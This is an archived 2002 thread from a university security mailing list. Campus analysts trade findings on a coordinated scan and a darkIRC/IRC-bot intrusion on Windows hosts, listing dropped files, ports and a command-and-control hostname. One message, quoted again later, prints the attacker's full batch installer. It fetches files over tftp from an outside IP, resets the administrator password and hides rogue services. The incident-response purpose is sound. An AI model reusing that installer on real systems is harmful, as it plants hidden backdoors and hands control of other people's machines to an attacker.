Good afternoon, This morning between 7:55am and 8:55am, we were attacked on multiple subnets by multiple machines originating from various .edu sites. We are in the process of contacting the various sites now to inform them of their compromised machines. Has anyone else experienced anything similar to this, this morning? The ports that were being scanned were port 1025. This could be just a typical coordinated scan by the same individual controlling compromised hosts on various networks, but I wanted to check here and see if this is more widespread, or if anyone else has seen this type of scanning today or recently. Thanks in advance for any help that you can provide. Regards, -- -------------------------------------------------------------------- Tracey Losco Network Security Analyst security () nyu edu ITS - Network Services
http://www.nyu.edu/its/security
New York University (212) 998 - 3433 PGP Fingerprint: 8FFB FE47 6156 7BF0 B19E 462B 9DFE 51F5
------------------------------------------------------------------------------ ** Andy Johnston (andy () umbc edu) * pager: 410-678-8949 ** ** Manager of IT Security * PGP key:(afj2000) 1024/F67035E1 ** ** Office of Information Technology, UMBC * 5D 44 1E 2E A6 7C 91 7A ** ** 410-455-2583 (v)/410-455-1065 (f) * C4 66 5F D5 BA B9 F6 58 ** ------------------------------------------------------------------------------
From tal1 () its nyu edu Thu May 2 23:42:01 2002
Date: Thu, 21 Mar 2002 22:07:37 -0500 Subject: Re: [unisog] Coordinated Scan From: Tracey Losco <tal1 () its nyu edu> To: Anderson Johnston <andy () umbc edu> Cc: unisog () sans org Hey there, Anderson, Unfortunately, we've been able to confirm the coordination...I've already gotten responses back from the administrators with confirmation that their machines were compromised. :-( I tend to agree with Morrow on the possibility that some new type of exploit could have been released...but the scanning on port 1025 and the coordination "rings a bell" with me but I can't remember the details or specifics of the incident... Must be that I'm getting old and losing my memory...8-\ Thanks for the input. Regards, Tracey At 5:04 PM -0500 3/21/2002, Anderson Johnston wrote:
We've seen these before (though not this morning). It's often hard to tell a coordinated scan from a single scanner rotating a spoofed IP address (unless you know that at least one of the IPs is lives in an egress filter policy that would stop at least one of the other IPs).
-- -------------------------------------------------------------------- Tracey Losco Network Security Analyst security () nyu edu ITS - Network Services http://www.nyu.edu/its/security New York University (212) 998 - 3433 PGP Fingerprint: 8FFB FE47 6156 7BF0 B19E 462B 9DFE 51F5
From smrogers () socrates Berkeley EDU Thu May 2 23:42:01 2002
Date: Fri, 22 Mar 2002 09:15:09 -0800 (PST) Subject: [unisog] Re: Coordinated Scan From: Sherry M. Rogers <smrogers () socrates Berkeley EDU> To: unisog () sans org We were one of the campuses with hosts involved in the scan Tracey described. Our network people blocked a couple of hosts because of what looked like ddos activity and we were able to correlate this with odd packets being flagged by our NIDS (bro) as excessive length ntp/port 123 traffic. We identified 13 Windows hosts altogether. When scanned with nmap there were two interesting ports open - a port 99 which disappeared on subsequent scans, and port 8888. Connecting to port 8888 revealed that it was running a program written by "darkIRC". One of the departments involved sent us the following analysis. If anyone else sees this exploit, we would really like to get more information. Also if you have knowledge of this darkIRC cohort - which is new to us. BTW, running a "darkIRC" virus scan on the box doesn't find the files. Analysis:
Attached are all of the files I could find that I believe were put there by the hacker. Below you will find both dates and times when the files where copied to the computer as well as a description of what each file seems to do. File creations- File: INDEX.dat Created on computer: 3/5/2002 8:13am Modified: 3/14/2002
9:51
File: DDL32.exe Created on computer: 3/14/2002 8:12am File: VMN32.exe Created on computer: 3/14/2002 8:13am File: RUDL32.exe Created on computer: 3/14/2002 8:13am File: DLL32NOS.exe Created on computer: 3/14/2002 9:51am File's Action (Significance) File: INDEX.dat Taken from the web cache and seems to show dll32nos.exe being downloaded from http://home.earthlink.net/~robertberry/dll32nos.exe File: DDL32.exe Extracts (but does not launch) mirc file (and associates) named as temp.exe. One of the files temp2.exe (which is a hidden file) seems to be used to hide the launching of temp.exe Temp.exe listens on port 9088 File: VMN32.exe Extract Serve-U FTP server. The FTP server file is named lsass.exe (also the name of Microsofts Local Security Authority SubSystem file which is always running on WinNT-XP boxes and therefore might go unnoticed) and listens on port 43958. File: RUDL32.exe Creates and launches a file named sxeNN.tmp (where NN appears to be 1 or two randomly selected characters). This tmp file is the darkirc client. File: DLL32NOS.exe Identical to DDL32.exe except that after extracting all of the files it launches the file temp.exe This afternoon the computer will be formatted and rebuilt so that it can be returned to the owner. If you have any thing for me to check on let me know quickly.
------------------------------------------------------------------------- Sherry M. Rogers University of California, Berkeley System & Network Security phone (510)642-7157 -------------------------------------------------------------------------
From miyake () darkwing uoregon edu Thu May 2 23:42:01 2002
Date: Fri, 22 Mar 2002 10:10:02 -0800 (PST) Subject: Re: [unisog] Re: Coordinated Scan From: Jon Karl Miyake <miyake () darkwing uoregon edu> To: Sherry M. Rogers <smrogers () socrates Berkeley EDU> Cc: unisog () sans org The "darkirc" intrusions that we encountered also had the following files also installed. (i copied the files over to a linux system to prod at them. as such the slash are leaning the wrong way for a windows system. The directory structure is based off of the root of the c: drive.) :) Documents_and_Settings/All_Users/Start_Menu/Programs/Startup/rudl32.exe Documents_and_Settings/All_Users/Start_Menu/Programs/Startup/sxe77.tmp Documents_and_Settings/All_Users/Start_Menu/Programs/Startup/sxe7A.tmp WINNT/system32/2XVLL.OCX WINNT/system32/32DLL.OCX WINNT/system32/32DLLXP.OCX WINNT/system32/16dll.ini WINNT/system32/ddl32.exe WINNT/system32/rundl32.exe WINNT/system32/vmn32.exe WINNT/system32/TEMP.EXE WINNT/system32/TEMP2.EXE WINNT/system32/GATES.TXT WINNT/system32/FSEARCH.INI WINNT/system32/OCXU.INI WINNT/system32/mirc.ini WINNT/system32/TEMP.SCR WINNT/system32/vmn32/32DLLEMU.TXT WINNT/system32/vmn32/BARM8.GIF WINNT/system32/vmn32/FIREDAEM.EXE WINNT/system32/vmn32/INETSERV.EXE WINNT/system32/vmn32/KILL.EXE WINNT/system32/vmn32/LSASS.EXE WINNT/system32/vmn32/PULIST.EXE WINNT/system32/vmn32/SERVICES.EXE WINNT/system32/vmn32/TAR.EXE WINNT/system32/vmn32/ASP/CYGWIN1.DLL WINNT/system32/vmn32/ASP/IR.CON WINNT/system32/vmn32/ASP/SVHOST.EXE WINNT/system32/vmn32/ASP/TAR.EXE WINNT/system32/vmn32/ASPC/CYGWIN1.DLL WINNT/system32/vmn32/ASPC/IR.CON WINNT/system32/vmn32/ASPC/SVHOST.EXE URL's that I came across that are writeups about similiar packages based off of Mirc. http://www.safersite.com/PestInfo/I/ICQPageBomb.asp http://cert.uni-stuttgart.de/archive/incidents/2000/11/msg00027.html http://bots.lockdowncorp.com/gtbot.html It also seems after doing a brief look at at some of the scripts that the compromised host talks with . . . noreics.scieron.com (217.10.143.237) aka. flyboy7.ukshells.co.uk The "noreics.scieron.com" string was referenced in the following script/config files. /WINNT/system32/32DLLXP.OCX /WINNT/system32/16dll.ini /WINNT/system32/OCXU.INI Jon Miyake voice #: (541) 346-1635 Computing Center Room 225 University of Oregon On Fri, 22 Mar 2002, Sherry M. Rogers wrote:
We were one of the campuses with hosts involved in the scan Tracey described. Our network people blocked a couple of hosts because of what looked like ddos activity and we were able to correlate this with odd packets being flagged by our NIDS (bro) as excessive length ntp/port 123 traffic. We identified 13 Windows hosts altogether. When scanned with nmap there were two interesting ports open - a port 99 which disappeared on subsequent scans, and port 8888. Connecting to port 8888 revealed that
it
was running a program written by "darkIRC". One of the departments involved sent us the following analysis. If anyone else sees this exploit, we would really like to get more information. Also if you have knowledge of this darkIRC cohort - which is new to us. BTW, running a "darkIRC" virus scan on the box doesn't find the files. Analysis:Attached are all of the files I could find that I believe were put
there
by the hacker. Below you will find both dates and times when the files where copied to the computer as well as a description of what each file seems to do. File creations- File: INDEX.dat Created on computer: 3/5/2002 8:13am
Modified: 3/14/2002 9:51
File: DDL32.exe Created on computer: 3/14/2002 8:12am File: VMN32.exe Created on computer: 3/14/2002 8:13am File: RUDL32.exe Created on computer: 3/14/2002 8:13am File: DLL32NOS.exe Created on computer: 3/14/2002 9:51am File's Action (Significance) File: INDEX.dat Taken from the web cache and seems to show dll32nos.exe being
downloaded
from http://home.earthlink.net/~robertberry/dll32nos.exe File: DDL32.exe Extracts (but does not launch) mirc file (and associates) named as temp.exe. One of the files temp2.exe (which is a hidden file) seems to be used to hide the launching of temp.exe Temp.exe listens on port
9088
File: VMN32.exe Extract Serve-U FTP server. The FTP server file is named lsass.exe
(also
the name of Microsofts Local Security Authority SubSystem file which is always running on WinNT-XP boxes and therefore might go unnoticed) and listens on port 43958. File: RUDL32.exe Creates and launches a file named sxeNN.tmp (where NN appears to be 1
or
two randomly selected characters). This tmp file is the darkirc
client.
File: DLL32NOS.exe Identical to DDL32.exe except that after extracting all of the files it launches the file temp.exe This afternoon the computer will be formatted and rebuilt so that it
can
be returned to the owner. If you have any thing for me to check on let
me
know quickly.
-------------------------------------------------------------------------
Sherry M. Rogers University of California, Berkeley System & Network Security phone (510)642-7157
-------------------------------------------------------------------------
From mnx () utk edu Thu May 2 23:42:02 2002
Date: Fri, 22 Mar 2002 13:22:15 -0500 Subject: RE: [unisog] Re: Coordinated Scan From: mnx <mnx () utk edu> To: Sherry M. Rogers <smrogers () socrates Berkeley EDU>, unisog <unisog () sans org> We had 20-25 hosts affected here...still running them down and still gathering information...temp.exe, temp2.exe, and temp.scr found in c:\winnt\system32...reg entry for temp.exe on some of the hosts more later, Mark Newman University of Tennessee
===== Original Message From "Sherry M. Rogers"
<smrogers () socrates Berkeley EDU> =====
We were one of the campuses with hosts involved in the scan Tracey described. Our network people blocked a couple of hosts because of what looked like ddos activity and we were able to correlate this with odd packets being flagged by our NIDS (bro) as excessive length ntp/port 123 traffic. We identified 13 Windows hosts altogether. When scanned with nmap there were two interesting ports open - a port 99 which disappeared on subsequent scans, and port 8888. Connecting to port 8888 revealed that
it
was running a program written by "darkIRC". One of the departments involved sent us the following analysis. If anyone else sees this exploit, we would really like to get more information. Also if you have knowledge of this darkIRC cohort - which is new to us. BTW, running a "darkIRC" virus scan on the box doesn't find the files. Analysis:Attached are all of the files I could find that I believe were put there by the hacker. Below you will find both dates and times when the files where copied to the computer as well as a description of what each file seems to do. File creations- File: INDEX.dat Created on computer: 3/5/2002 8:13am Modified: 3/14/2002
9:51
File: DDL32.exe Created on computer: 3/14/2002 8:12am File: VMN32.exe Created on computer: 3/14/2002 8:13am File: RUDL32.exe Created on computer: 3/14/2002 8:13am File: DLL32NOS.exe Created on computer: 3/14/2002 9:51am File's Action (Significance) File: INDEX.dat Taken from the web cache and seems to show dll32nos.exe being downloaded from http://home.earthlink.net/~robertberry/dll32nos.exe File: DDL32.exe Extracts (but does not launch) mirc file (and associates) named as temp.exe. One of the files temp2.exe (which is a hidden file) seems to be used to hide the launching of temp.exe Temp.exe listens on port 9088 File: VMN32.exe Extract Serve-U FTP server. The FTP server file is named lsass.exe
(also
the name of Microsofts Local Security Authority SubSystem file which is always running on WinNT-XP boxes and therefore might go unnoticed) and listens on port 43958. File: RUDL32.exe Creates and launches a file named sxeNN.tmp (where NN appears to be 1 or two randomly selected characters). This tmp file is the darkirc client. File: DLL32NOS.exe Identical to DDL32.exe except that after extracting all of the files it launches the file temp.exe This afternoon the computer will be formatted and rebuilt so that it can be returned to the owner. If you have any thing for me to check on let
me
know quickly.------------------------------------------------------------------------- Sherry M. Rogers University of California, Berkeley System & Network Security phone (510)642-7157 -------------------------------------------------------------------------
From edz () uic edu Thu May 2 23:42:02 2002
Date: Fri, 22 Mar 2002 12:53:13 -0600 Subject: Re: [unisog] Re: Coordinated Scan From: Ed Zawacki <edz () uic edu> To: unisog () sans org We have also had several machines on campus hit with this. We're still trying to determine the method of infection and would love details. Ed Zawacki At 09:15 AM 3/22/2002 -0800, Sherry M. Rogers wrote:
We were one of the campuses with hosts involved in the scan Tracey described. Our network people blocked a couple of hosts because of what looked like ddos activity and we were able to correlate this with odd packets being flagged by our NIDS (bro) as excessive length ntp/port 123 traffic. We identified 13 Windows hosts altogether. When scanned with nmap there were two interesting ports open - a port 99 which disappeared on subsequent scans, and port 8888. Connecting to port 8888 revealed that
it
was running a program written by "darkIRC". One of the departments involved sent us the following analysis. If anyone else sees this exploit, we would really like to get more information. Also if you have knowledge of this darkIRC cohort - which is new to us. BTW, running a "darkIRC" virus scan on the box doesn't find the files. Analysis:Attached are all of the files I could find that I believe were put
there
by the hacker. Below you will find both dates and times when the files where copied to the computer as well as a description of what each file seems to do. File creations- File: INDEX.dat Created on computer: 3/5/2002 8:13am
Modified: 3/14/2002
9:51File: DDL32.exe Created on computer: 3/14/2002 8:12am File: VMN32.exe Created on computer: 3/14/2002 8:13am File: RUDL32.exe Created on computer: 3/14/2002 8:13am File: DLL32NOS.exe Created on computer: 3/14/2002 9:51am File's Action (Significance) File: INDEX.dat Taken from the web cache and seems to show dll32nos.exe being
downloaded
from http://home.earthlink.net/~robertberry/dll32nos.exe File: DDL32.exe Extracts (but does not launch) mirc file (and associates) named as temp.exe. One of the files temp2.exe (which is a hidden file) seems to be used to hide the launching of temp.exe Temp.exe listens on port
9088
File: VMN32.exe Extract Serve-U FTP server. The FTP server file is named lsass.exe
(also
the name of Microsofts Local Security Authority SubSystem file which is always running on WinNT-XP boxes and therefore might go unnoticed) and listens on port 43958. File: RUDL32.exe Creates and launches a file named sxeNN.tmp (where NN appears to be 1
or
two randomly selected characters). This tmp file is the darkirc
client.
File: DLL32NOS.exe Identical to DDL32.exe except that after extracting all of the files it launches the file temp.exe This afternoon the computer will be formatted and rebuilt so that it
can
be returned to the owner. If you have any thing for me to check on let
me
know quickly.------------------------------------------------------------------------- Sherry M. Rogers University of California, Berkeley System & Network Security phone (510)642-7157 -------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------- Edward Zawacki University of Illinois at Chicago Security Officer (312) 996-0658 ACCC
From andy () umbc edu Thu May 2 23:42:02 2002
Date: Fri, 22 Mar 2002 15:30:57 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Anderson Johnston <andy () umbc edu> To: Sherry M. Rogers <smrogers () socrates Berkeley EDU> Cc: unisog () sans org On Fri, 22 Mar 2002, Sherry M. Rogers wrote:
We were one of the campuses with hosts involved in the scan Tracey described. Our network people blocked a couple of hosts because of what looked like ddos activity and we were able to correlate this with odd packets being flagged by our NIDS (bro) as excessive length ntp/port 123 traffic. We identified 13 Windows hosts altogether. When scanned with nmap there were two interesting ports open - a port 99 which disappeared on subsequent scans, and port 8888. Connecting to port 8888 revealed that
it
was running a program written by "darkIRC".
8888/tcp or 8888/udp?
- andy
------------------------------------------------------------------------------
** Andy Johnston (andy () umbc edu) * pager: 410-678-8949
**
** Manager of IT Security * PGP
key:(afj2000) 1024/F67035E1 **
** Office of Information Technology, UMBC * 5D 44 1E 2E A6 7C 91 7A
**
** 410-455-2583 (v)/410-455-1065 (f) * C4 66 5F D5 BA B9 F6 58
**
------------------------------------------------------------------------------
From smrogers () socrates Berkeley EDU Thu May 2 23:42:02 2002
Date: Fri, 22 Mar 2002 13:19:15 -0800 (PST) Subject: Re: [unisog] Re: Coordinated Scan From: Sherry M. Rogers <smrogers () socrates Berkeley EDU> To: Anderson Johnston <andy () umbc edu> Cc: unisog () sans org On Fri, 22 Mar 2002, Anderson Johnston wrote:
8888/tcp or 8888/udp?
8888/tcp and a 99/tcp which the primary person here working on this thinks may be Hidden_port.zip, which is known to run on port 99/tcp - since it disappeared from the later nmap scans. ------------------------------------------------------------------------- Sherry M. Rogers University of California, Berkeley System & Network Security phone (510)642-7157 -------------------------------------------------------------------------
From andy () umbc edu Thu May 2 23:42:02 2002
Date: Fri, 22 Mar 2002 17:53:54 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Anderson Johnston <andy () umbc edu> To: Sherry M. Rogers <smrogers () socrates Berkeley EDU> Cc: unisog () sans org On Fri, 22 Mar 2002, Sherry M. Rogers wrote:
On Fri, 22 Mar 2002, Anderson Johnston wrote:8888/tcp or 8888/udp?8888/tcp and a 99/tcp which the primary person here working on this thinks may be Hidden_port.zip, which is known to run on port 99/tcp - since it disappeared from the later nmap scans.
-------------------------------------------------------------------------
Sherry M. Rogers University of California, Berkeley System & Network Security phone (510)642-7157
-------------------------------------------------------------------------
Thanks, I'll run a scan this evening. I'll post if anything comes up.
- andy
------------------------------------------------------------------------------
** Andy Johnston (andy () umbc edu) * pager: 410-678-8949
**
** Manager of IT Security * PGP
key:(afj2000) 1024/F67035E1 **
** Office of Information Technology, UMBC * 5D 44 1E 2E A6 7C 91 7A
**
** 410-455-2583 (v)/410-455-1065 (f) * C4 66 5F D5 BA B9 F6 58
**
------------------------------------------------------------------------------
From flynngn () jmu edu Thu May 2 23:42:02 2002
Date: Fri, 22 Mar 2002 21:08:46 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Gary Flynn <flynngn () jmu edu> To: unisog () sans org "Sherry M. Rogers" wrote:
We identified 13 Windows hosts altogether. When scanned with nmap there were two interesting ports open - a port 99 which disappeared on subsequent scans, and port 8888. Connecting to port 8888 revealed that
it
was running a program written by "darkIRC".
Quick scan of campus got a hit here on one student Windows box with 8888-darkIRC. Is this the same beast as what is described here: http://www.tlsecurity.net/cgi-bin/readme.pl?DarkIrc.Readme.txt http://securityresponse.symantec.com/avcenter/venc/data/backdoor.darkirc.html -- Gary Flynn Security Engineer - Technical Services James Madison University Please R.U.N.S.A.F.E. http://www.jmu.edu/computing/runsafe
From edz () uic edu Thu May 2 23:42:02 2002
Date: Mon, 25 Mar 2002 09:28:24 -0600 Subject: Re: [unisog] Re: Coordinated Scan From: Ed Zawacki <edz () uic edu> To: unisog () sans org At 03:30 PM 3/22/2002 -0500, Anderson Johnston wrote:
On Fri, 22 Mar 2002, Sherry M. Rogers wrote:We were one of the campuses with hosts involved in the scan Tracey described. Our network people blocked a couple of hosts because of
what
looked like ddos activity and we were able to correlate this with odd packets being flagged by our NIDS (bro) as excessive length ntp/port
123
traffic. We identified 13 Windows hosts altogether. When scanned with nmap
there
were two interesting ports open - a port 99 which disappeared on subsequent scans, and port 8888. Connecting to port 8888 revealed
that it
was running a program written by "darkIRC".
I just checked one of our infected systems. Port 99 is a command shell that closes after use. edz ------------------------------------------------------------------------------------------------------------------------------- Edward Zawacki University of Illinois at Chicago Security Officer (312) 996-0658 ACCC
From andy () umbc edu Thu May 2 23:42:02 2002
Date: Mon, 25 Mar 2002 13:14:42 -0500
Subject: Re: [unisog] Re: Coordinated Scan
From: Anderson Johnston <andy () umbc edu>
To: Sherry M. Rogers <smrogers () socrates Berkeley EDU>
Cc: unisog () sans org
According to nmap, we've got about a dozen MS systems on campus with
8888/tcp open ( also a few Solaris systems, probably running Answerbook).
None of them are in places I can reach before Wednesday (campus is closed
till then). I'm watching for traffic to/from them in the meantime.
- andy
On Fri, 22 Mar 2002, Anderson Johnston wrote:
Thanks, I'll run a scan this evening. I'll post if anything comes up.
------------------------------------------------------------------------------ ** Andy Johnston (andy () umbc edu) * pager: 410-678-8949 ** ** Manager of IT Security * PGP key:(afj2000) 1024/F67035E1 ** ** Office of Information Technology, UMBC * 5D 44 1E 2E A6 7C 91 7A ** ** 410-455-2583 (v)/410-455-1065 (f) * C4 66 5F D5 BA B9 F6 58 ** ------------------------------------------------------------------------------
From flynngn () jmu edu Thu May 2 23:42:02 2002
Date: Mon, 25 Mar 2002 14:23:28 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Gary Flynn <flynngn () jmu edu> To: unisog () sans org Anderson Johnston wrote:
According to nmap, we've got about a dozen MS systems on campus with 8888/tcp open ( also a few Solaris systems, probably running
Answerbook). I found several that were running web servers on that port but only one with DarkIRC. -- Gary Flynn Security Engineer - Technical Services James Madison University Please R.U.N.S.A.F.E. http://www.jmu.edu/computing/runsafe
From andy () umbc edu Thu May 2 23:42:02 2002
Date: Mon, 25 Mar 2002 17:49:17 -0500
Subject: Re: [unisog] Re: Coordinated Scan
From: Anderson Johnston <andy () umbc edu>
To: Gary Flynn <flynngn () jmu edu>
Cc: unisog () sans org
Just to check, you connect to 8888/tcp and it responds with the DarkIRC
tag?
- andy
On Mon, 25 Mar 2002, Gary Flynn wrote:
Anderson Johnston wrote:According to nmap, we've got about a dozen MS systems on campus with 8888/tcp open ( also a few Solaris systems, probably running
Answerbook).
I found several that were running web servers on that port but only one with DarkIRC. -- Gary Flynn Security Engineer - Technical Services James Madison University Please R.U.N.S.A.F.E. http://www.jmu.edu/computing/runsafe
------------------------------------------------------------------------------ ** Andy Johnston (andy () umbc edu) * pager: 410-678-8949 ** ** Manager of IT Security * PGP key:(afj2000) 1024/F67035E1 ** ** Office of Information Technology, UMBC * 5D 44 1E 2E A6 7C 91 7A ** ** 410-455-2583 (v)/410-455-1065 (f) * C4 66 5F D5 BA B9 F6 58 ** ------------------------------------------------------------------------------
From allen () rescomp berkeley edu Thu May 2 23:42:02 2002
Date: Thu, 28 Mar 2002 13:55:04 -0800 (PST) Subject: [unisog] Re: Coordinated Scan From: Allen Chang <allen () rescomp berkeley edu> To: unisog () sans org Cc: security () rescomp berkeley edu Apologies if I break the thread... Here's my analysis of the compromised computers. First of all, this is not the Backdoor.darkIRC detected by antivirus programs. This backdoor is not detected by the latest NAV patterns. I'm guessing that these computer were compromised through the administrative share with no administrator password on Windows 2000. *A rouge lsass.exe (with a red u and a smaller green d icon) was installed as a service using firedaemon.exe (or firedaem.exe). You can check for it under Administrative Tools -> Services. The one on our hosts was called ms32dll *Several .tmp files and a rudl32.exe are dropped in the Startup folder but the .tmp files don't seem to run. *Serve-U FTP, IRC and telnet servers are run on various ports. The IRC configurations(ir.con) seem to indicate that they are set up as XDCC file-serving bots. Judging from this, one should be able to remove the service with a "firedaemon -u ms32dll" This seems to close all the opened ports but I am unsure as to what other damage may have been done. On all the hosts, nmap found the following ports open: Port State Service 132/tcp open cisco-sys <--tlntsvr.exe (telnet) 135/tcp open loc-srv <--svchost.exe 139/tcp open netbios-ssn <--NetBIOS sharing (normal) 445/tcp open microsoft-ds <-Windows sharing (kind of normal) 1025/tcp open listen <--mstask.exe (normal) 8888/tcp open sun-answerbook <-- sxe5.tmp (backdoor client) Running Vision 1.0 (www.foundstone.com) on the compromised computers yielded these additional ports and programs bound to them: 1029/tcp <-- sxe5.tmp 1031/tcp <-- sxe5.tmp 43958/tcp <--c:\winnt\system32\vmn32\lsass.exe <-not to be confused with the other lsass.exe from MS 3112/tcp <-- c:\winnt\system32\vmn32\lsass.exe According to vmn\ServUStartUpLog.txt (Not confirmed) 3112 <-- ftp Hidden? (Never seen by me) 99/tcp <-- Backdoor command shell? (**Files Found**) C:\Documents and Settings\All Users\Start Menu\Programs\Startup rudl32.exe sxe3.tmp sxe4.tmp sxe5.tmp Other files mentioned at http://www.theorygroup.com/Archive/Unisog/2002/msg00334.html @llen Network Security Office of Residential Computing UC Berkeley
From jeff01 () email unc edu Thu May 2 23:42:02 2002
Date: Mon, 01 Apr 2002 09:48:28 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Jeff Bollinger <jeff01 () email unc edu> To: Allen Chang <allen () rescomp berkeley edu> Cc: unisog () sans org, security () rescomp berkeley edu More on this attack. Here is the actual .bat file used by the attacker which gives some great clues: ---- @echo off c: cd c:\winnt\system32\vmn32 mkdir \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 attrib +s +r +h \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 kill sxe* kill temp.exe del ..\2*.ocx del ..\32*.ocx del ..\temp2.exe PATH=%PATH%;c:\winnt\system32 move firedaem.exe firedaemon.exe del c:\winnt\system32\vmn32.exe attrib *.* -r /s attrib +s +h +r c:\winnt\system32\vmn32 attrib c:\winnt\system32\vmn32\asp +s +h attrib c:\winnt\system32\vmn32\aspc +s +h tftp -i 12.233.26.173 GET ir2.conf c:\winnt\system32\vmn32\asp\ir.conf tftp -i 12.233.26.173 GET xir.conf c:\winnt\system32\vmn32\aspc\ir.conf tftp -i 12.233.26.173 GET barm8.gif c:\winnt\system32\vmn32\barm8.gif attrib *.* -r /s net user administrator changem net share /delete ipc$ SET MXHOME=c:\winnt\system32\vmn32 SET MXBIN=c:\winnt\system32\vmn32 c:\winnt\system32\vmn32\firedaemon -i Ms32dll "c:\winnt\system32\vmn32" "c:\winnt\system32\vmn32\lsass.exe" "c:\winnt\system32\vmn32\barm8.gif" Y 0 0 Y Y c:\winnt\system32\vmn32\firedaemon -i SVHOST "c:\winnt\system32\vmn32\asp" "c:\winnt\system32\vmn32\asp\SVHOST.EXE" "c:\winnt\system32\vmn32\asp\ir.conf" Y 0 0 Y Y c:\winnt\system32\vmn32\firedaemon -i MSVC5 "c:\winnt\system32\vmn32\aspc" "c:\winnt\system32\vmn32\aspc\SVHOST.EXE" "c:\winnt\system32\vmn32\aspc\ir.conf" Y 0 0 Y Y c:\winnt\system32\vmn32\services start Ms32dll c:\winnt\system32\vmn32\services start SVHOST c:\winnt\system32\vmn32\services start MSVC5 echo REGEDIT4 1>>root.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\] >> root.reg echo "restrictanonymous"="1" >> root.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\] >> root.reg echo "NTLM"="2" >> root.reg regedit /S root.reg del root.reg services stop tlntsvr services delete tlntsvr services stop lmhosts services start lmhosts services start NtLmSsp services stop PSEXESVC services delete PSEXESVC Allen Chang wrote:
Apologies if I break the thread... Here's my analysis of the compromised computers. First of all, this is
not
the Backdoor.darkIRC detected by antivirus programs. This backdoor is
not
detected by the latest NAV patterns. I'm guessing that these computer were compromised through the administrative share with no administrator password on Windows 2000. *A rouge lsass.exe (with a red u and a smaller green d icon) was
installed as a
service using firedaemon.exe (or firedaem.exe). You can check for it
under
Administrative Tools -> Services. The one on our hosts was called
ms32dll
*Several .tmp files and a rudl32.exe are dropped in the Startup folder
but
the .tmp files don't seem to run. *Serve-U FTP, IRC and telnet servers are run on various ports. The IRC configurations(ir.con) seem to indicate that they are set up as XDCC file-serving bots. Judging from this, one should be able to remove the service with a "firedaemon -u ms32dll" This seems to close all the opened ports but I
am
unsure as to what other damage may have been done. On all the hosts, nmap found the following ports open: Port State Service 132/tcp open cisco-sys <--tlntsvr.exe (telnet) 135/tcp open loc-srv <--svchost.exe 139/tcp open netbios-ssn <--NetBIOS sharing (normal) 445/tcp open microsoft-ds <-Windows sharing (kind of normal) 1025/tcp open listen <--mstask.exe (normal) 8888/tcp open sun-answerbook <-- sxe5.tmp (backdoor client) Running Vision 1.0 (www.foundstone.com) on the compromised computers yielded these additional ports and programs bound to them: 1029/tcp <-- sxe5.tmp 1031/tcp <-- sxe5.tmp 43958/tcp <--c:\winnt\system32\vmn32\lsass.exe <-not to be confused with the other lsass.exe from MS 3112/tcp <-- c:\winnt\system32\vmn32\lsass.exe According to vmn\ServUStartUpLog.txt (Not confirmed) 3112 <-- ftp Hidden? (Never seen by me) 99/tcp <-- Backdoor command shell? (**Files Found**) C:\Documents and Settings\All Users\Start Menu\Programs\Startup rudl32.exe sxe3.tmp sxe4.tmp sxe5.tmp Other files mentioned at http://www.theorygroup.com/Archive/Unisog/2002/msg00334.html @llen Network Security Office of Residential Computing UC Berkeley
-- -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jeff Bollinger University of North Carolina IT Security Analyst 105 Abernethy Hall mailto: jeff_bollinger@unc dot edu -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjygx5sACgkQr07iNdAwCVN0UACfeNdXrqVapDreSWSGWjquOOBR +B8AnAjv3RqruOr8xWY7+xQ03qvGRhPz =UYVI -----END PGP SIGNATURE-----
From mnx () utk edu Thu May 2 23:42:02 2002
Date: Wed, 3 Apr 2002 10:06:35 -0500
Subject: Re: [unisog] Re: Coordinated Scan
From: Mark Newman <mnx () utk edu>
To: jeff_bollinger () unc edu, Jeff Bollinger <jeff01 () email unc edu>,
Allen Chang <allen () rescomp berkeley edu>
Cc: unisog () sans org, security () rescomp berkeley edu
Anyone found a conclusive writeup on this?
Mark Newman
University of Tennessee
On Monday 01 April 2002 09:48 am, Jeff Bollinger wrote:
More on this attack. Here is the actual .bat file used by the attacker which gives some great clues: ---- @echo off c: cd c:\winnt\system32\vmn32 mkdir \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 attrib +s +r +h \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 kill sxe* kill temp.exe del ..\2*.ocx del ..\32*.ocx del ..\temp2.exe PATH=%PATH%;c:\winnt\system32 move firedaem.exe firedaemon.exe del c:\winnt\system32\vmn32.exe attrib *.* -r /s attrib +s +h +r c:\winnt\system32\vmn32 attrib c:\winnt\system32\vmn32\asp +s +h attrib c:\winnt\system32\vmn32\aspc +s +h tftp -i 12.233.26.173 GET ir2.conf c:\winnt\system32\vmn32\asp\ir.conf tftp -i 12.233.26.173 GET xir.conf c:\winnt\system32\vmn32\aspc\ir.conf tftp -i 12.233.26.173 GET barm8.gif c:\winnt\system32\vmn32\barm8.gif attrib *.* -r /s net user administrator changem net share /delete ipc$ SET MXHOME=c:\winnt\system32\vmn32 SET MXBIN=c:\winnt\system32\vmn32 c:\winnt\system32\vmn32\firedaemon -i Ms32dll "c:\winnt\system32\vmn32"
"c:\winnt\system32\vmn32\lsass.exe" "c:\winnt\system32\vmn32\barm8.gif" Y 0
0 Y Y c:\winnt\system32\vmn32\firedaemon -i SVHOST
"c:\winnt\system32\vmn32\asp"
"c:\winnt\system32\vmn32\asp\SVHOST.EXE" "c:\winnt\system32\vmn32\asp\ir.conf" Y 0 0 Y Y c:\winnt\system32\vmn32\firedaemon -i MSVC5
"c:\winnt\system32\vmn32\aspc"
